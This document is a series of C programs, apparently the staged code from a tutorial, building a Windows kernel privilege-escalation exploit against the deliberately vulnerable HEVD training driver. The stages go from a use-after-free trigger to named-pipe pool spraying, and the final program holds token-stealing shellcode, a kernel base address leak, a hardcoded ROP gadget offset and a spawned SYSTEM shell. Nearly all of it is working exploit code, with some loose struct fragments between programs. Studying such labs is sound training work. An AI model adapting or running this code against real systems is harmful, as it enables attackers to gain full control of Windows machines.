#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

// Allocated object size
#define OBJ_SIZE 0x60

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

char *allocate_buffer()
{
  char *buffer = malloc(OBJ_SIZE);
  if (buffer != NULL)
  {
    memset(buffer, 0x41, OBJ_SIZE);
  }

  return buffer;
}

int main()
{
  HANDLE hHEVD = NULL;
  char *evilBuffer = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  evilBuffer = allocate_buffer();
  if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer for fake object\n");
    return -1;
  }

  printf("[*] Allocating structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Allocating new object of size 0x%x\n", OBJ_SIZE);
  sendIoctl(hHEVD, ALLOCATE_FAKE_OBJ, evilBuffer, OBJ_SIZE);

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, CALL_FUNC_PTR, NULL, 0);
}

struct _POOL_TRACKER_BIG_PAGES
{
    volatile ULONGLONG Va;                                                  //0x0
    ULONG Key;                                                              //0x8
    ULONG Pattern:8;                                                        //0xc
    ULONG PoolType:12;                                                      //0xc
    ULONG SlushSize:12;                                                     //0xc
    ULONGLONG NumberOfBytes;                                                //0x10
    struct _EPROCESS* ProcessBilled;                                        //0x18
};

/* The Entries that go into the Queue */
typedef struct _NP_DATA_QUEUE_ENTRY
{
    LIST_ENTRY QueueEntry;
    ULONG DataEntryType;
    PIRP Irp;
    ULONG QuotaInEntry;
    PSECURITY_CLIENT_CONTEXT ClientSecurityContext;
    ULONG DataSize;
} NP_DATA_QUEUE_ENTRY, *PNP_DATA_QUEUE_ENTRY;

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  DWORD ALLOC_SIZE   = 0x70;
  BYTE uBuffer[0x28] = { 0 }; // ALLOC_SIZE - HEADER_SIZE (0x48)
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x28, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

int main()
{
  HANDLE hHEVD = NULL;

  PipeHandles pipeHandle = CreatePipeObject();

  printf("[*] Handles: 0x%llx, 0x%llx", pipeHandle.read, pipeHandle.write);
  getchar();
  DebugBreak();

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  printf("[*] Allocating structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  return 0;
}

sizeof(uBuffer) + (sizeof(_NP_DATA_QUEUE_ENTRY) == 0x48) == ALLOC_SIZE

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  BYTE uBuffer[0x18] = { 0 }; // sizeof(uBuffer) + (sizeof(_NP_DATA_QUEUE_ENTRY) == 0x48) == ALLOC_SIZE
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x18, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

#define DEF_PIPES 20000
#define SEQ_PIPES 60000

int main()
{
  int i                                    = 0;
  HANDLE hHEVD                             = NULL;
  BYTE uBuffer[0x58]                       = {0};
  PipeHandles defragPipeHandles[DEF_PIPES] = {0};
  PipeHandles seqPipeHandles[SEQ_PIPES]    = {0};

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  /* I found this intresting, we must allocate DATA_ENTRY objects like so otherwise
     we will fail to allocate any. We have to start with a low amount THEN allocate
     the sequential DATA_ENTRY objects. Although this is just 80000 allocations, we
     CANNOT just use one loop to hold all 80000 allocations. We must space it out */
  printf("[*] Spraying objects for pool defragmentation\n");
  for (i = 0; i < DEF_PIPES; i++)
    defragPipeHandles[i] = CreatePipeObject();
  for (i = 0; i < SEQ_PIPES; i++)
    seqPipeHandles[i] = CreatePipeObject();

  printf("[*] Creating holes to store object\n");
  for (i = 0; i < SEQ_PIPES; i++) {
    if (i % 2 == 0) {
      CloseHandle(seqPipeHandles[i].read);
      CloseHandle(seqPipeHandles[i].write);
    }
  }
  
  printf("[*] Allocating target structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing target structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Filling holes with custom objects\n");
  *(uint64_t *)(uBuffer) = (uint64_t)(0x41414141);
  for (int i = 0; i < 30000; i++)
    sendIoctl(hHEVD, ALLOCATE_FAKE_OBJ, uBuffer, sizeof(uBuffer));

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, CALL_FUNC_PTR, NULL, 0);

  return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

// DATA_ENTRY Allocations
#define DEF_PIPES 20000
#define SEQ_PIPES 60000

/* CreatePipeObject():
     This function creates a pipe and returns the handles to the read and write ends of said pipe. However,
     what this does in the case of our exploit is create an allocation in the NonPaged pool. It's important
     to note each allocation is made by the Named Pipe File System (NPFS.sys). That said it will prepend an
     allocation with a DATA_ENTRY structure (or NP_DATA_QUEUE_ENTRY), on an x86_64 system this structure is 
     0x48 bytes. So each allocation must be greater than 0x48 bytes. Equation below:

       CreatePipe(HANDLE hR, HANDLE hW, NULL, nSize);
       NonPagedAllocation = nSize + sizeof(_NP_DATA_QUEUE_ENTRY)

     So in our case we're allocating 0x60 bytes in the NonPaged pool. This code was taken from VulnDevs
     blog located here:

       https://vulndev.io/2022/07/14/windows-kernel-exploitation-hevd-x64-use-after-free/

    The only difference is this was written in C vs C++ */
typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  BYTE uBuffer[0x18] = { 0 };
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x18, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

/* SendIOCTL():
     Send the IOCTL code to the driver */
void SendIOCTL(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

/* GetKernelBaseAddress():
     Using EnumDeviceDrivers() obtain the base address of ntoskrnl.exe */
uint64_t GetKernelBaseAddress()
{
  ULONG_PTR pKernelBaseAddress = 0;
  LPVOID *lpImageBase          = NULL;
  DWORD dwBytesNeeded          = 0;

  if (!EnumDeviceDrivers(NULL, 0, &dwBytesNeeded)) {
    printf("[-] Failed to calculate bytes needed for device driver entries");
    return -1;
  }

  if (!(lpImageBase = (LPVOID *)HeapAlloc(GetProcessHeap(), 0, dwBytesNeeded))) {
    printf("[-] Failed to allocate heap for lpImageBase\n");
    if (lpImageBase) {
      HeapFree(GetProcessHeap(), 0, lpImageBase);
    }
    return -1;
  }

  if (!EnumDeviceDrivers(lpImageBase, dwBytesNeeded, &dwBytesNeeded)) {
    printf("[-] EnumDeviceDrivers: %d", GetLastError());
    if (lpImageBase) {
      HeapFree(GetProcessHeap(), 0, lpImageBase);
    }
    return -1;
  }

  pKernelBaseAddress = ((ULONG_PTR *)lpImageBase)[0];
  HeapFree(GetProcessHeap(), 0, lpImageBase);

  printf("[*] Kernel Base Address: %llx\n", pKernelBaseAddress);

  return pKernelBaseAddress;
}

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* Exploit():
     NonPaged Pool UAF */
int Exploit(HANDLE hHEVD)
{
  PipeHandles defragPipeHandles[DEF_PIPES] = {0};
  PipeHandles seqPipeHandles[SEQ_PIPES]    = {0};
  int i                                    = 0;
  int64_t kernelBaseAddr                   = GetKernelBaseAddress();

  char cShellcode[0x58] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90" // FUNCTION POINTER
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP SLED

  // sickle -p windows/x64/kernel_token_stealer -f c -m pinpoint
  "\x65\x48\xa1\x88\x01\x00\x00\x00\x00\x00\x00" // movabs rax, qword ptr gs:[0x188]
  "\x48\x8b\x80\xb8\x00\x00\x00"                 // mov rax, qword ptr [rax + 0xb8]
  "\x48\x89\xc1"                                 // mov rcx, rax
  "\xb2\x04"                                     // mov dl, 4
  "\x48\x8b\x80\x48\x04\x00\x00"                 // mov rax, qword ptr [rax + 0x448]
  "\x48\x2d\x48\x04\x00\x00"                     // sub rax, 0x448
  "\x38\x90\x40\x04\x00\x00"                     // cmp byte ptr [rax + 0x440], dl
  "\x75\xeb"                                     // jne 0x1017
  "\x48\x8b\x90\xb8\x04\x00\x00"                 // mov rdx, qword ptr [rax + 0x4b8]
  "\x48\x89\x91\xb8\x04\x00\x00"                 // mov qword ptr [rcx + 0x4b8], rdx

  // KERNEL RECOVERY
  "\x48\x31\xc0"                         // xor rax, rax 
  "\x48\x83\xc4\x48"                     // add rsp, 0x48 
  "\xc3";                                // ret 

  /* I found this intresting, we must allocate DATA_ENTRY objects like so otherwise
     we will fail to allocate any. We have to start with a low amount THEN allocate
     the sequential DATA_ENTRY objects. Although this is just 80000 allocations, we
     CANNOT just use one loop to hold all 80000 allocations. We must space it out */
  printf("[*] Spraying objects for pool defragmentation\n");
  for (i = 0; i < DEF_PIPES; i++)
    defragPipeHandles[i] = CreatePipeObject();
  for (i = 0; i < SEQ_PIPES; i++)
    seqPipeHandles[i] = CreatePipeObject();

  printf("[*] Creating holes to store object\n");
  for (i = 0; i < SEQ_PIPES; i++) {
    if (i % 2 == 0) {
      CloseHandle(seqPipeHandles[i].read);
      CloseHandle(seqPipeHandles[i].write);
    }
  }
  
  printf("[*] Allocating target structure\n");
  SendIOCTL(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing target structure\n");
  SendIOCTL(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Filling holes with custom objects\n");
  *(uint64_t *)(cShellcode) = (uint64_t)(kernelBaseAddr + 0x40176b); /* add al, 0x10 ; call rax [nt] */
  for (int i = 0; i < 30000; i++)
    SendIOCTL(hHEVD, ALLOCATE_FAKE_OBJ, cShellcode, 0x58);

  printf("[*] Triggering UAF\n");
  SendIOCTL(hHEVD, CALL_FUNC_PTR, NULL, 0);

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy your shell\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
    return -1;
  }

  return 0;
}